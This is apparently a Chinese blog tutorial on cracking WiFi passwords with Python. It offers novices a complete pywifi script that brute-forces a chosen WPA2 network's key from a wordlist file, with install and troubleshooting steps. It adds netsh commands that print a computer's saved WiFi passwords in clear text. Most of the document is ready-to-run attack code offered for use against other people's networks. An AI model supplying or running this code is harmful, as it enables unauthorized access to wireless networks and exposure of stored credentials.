python破解wifi密码
使用python破解WiFi密码:
提示:用python破解WiFi密码完全是看运气(抛开密码本):
例如:若是真的想破解一个有意不让他人连接的wifi密码,python铁定不行,最靠谱的还是linux那边的kali(kali学的好,牢饭吃到饱)
第一步:打开python敲代码
不会敲代码的萌新们,直接拿下面的代码(网上都有)
python代码千遍一律,无非是用户界面有些不同:
注:无线网名称自己输入,还有密码本的路径path自己改一下
# coding:utf-8
import pywifi
from pywifi import const
import time
def wifiConnect(pwd):
wifi = pywifi.PyWiFi() # 抓取网卡接口
ifaces = wifi.interfaces()[0] # 获取第一个无线网卡
ifaces.disconnect() # 断开所有连接
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile() # 创建WiFi连接文件
profile.ssid = "隐藏的网络" # 要连接WiFi的名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放状态
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法,一般wifi加密算法为wps
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = pwd # 调用密码
ifaces.remove_all_network_profiles()# 删除所有连接过的wifi文件
tep_profile = ifaces.add_network_profile(profile) # 设定新的连接文件
ifaces.connect(tep_profile)
time.sleep(1) # wifi连接时间
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已连接")
def readPassword(): # 读取密码本
print("开始破解:")
# 密码本路径
path = "E:/2.txt"
# 打开文件
file = open(path, "r")
while True:
try:
# 一行一行读取
pad = file.readline()
bool = wifiConnect(pad)
if bool:
print("密码已破解: ", pad)
print("WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ", pad)
except:
continue
readPassword()
代码运行错误分析:
出问题的同志,50%的同学是因为没有导入pywifi库
80%是导入了pywifi库导入了却没有导入contypes库
剩下一部分是忘记了改代码中密码本的路径或者wifi名称(自己想要破解的wifi名称)
pywifi,contypes库的导入方法(pip使用):
有的同学用的pycharm可以直接导入pywifi但是不会直接导入contypes库
下面教大家使用pip命令窗口安装这些库(请先让自己的电脑联网)
1.以管理员形式打开命令行窗口
2.在c盘找到自己python的地址打开其Scrips包
我的在这里
C:\Users…\AppData\Local\Programs\Python\Python37-32\Scripts
然后进入命令行 cd C:\Users…\AppData\Local\Programs\Python\Python37-32\Scripts
最后输入pip install pywifi (我的已经安装完成了所以是这个样子)
同理安装contypes
让代码跑起来:
有副作用!!!!!!!!python代码跑wifi密码都有副作用!!!
他会忘掉我们电脑连接过的wifi的所有密码!!!!我就是写完才发现!!!!血亏啊
弥补缺陷:
命令窗口:
1.输入命令:netsh wlan show profiles,回车
2.命令行输入:netsh wlan show profile name=“列表里面随便一个名称” key=clear,回车
3.找到“安全设置”里面的“关键内容”就是 WIFI密码了!
来源:枯树落叶秋风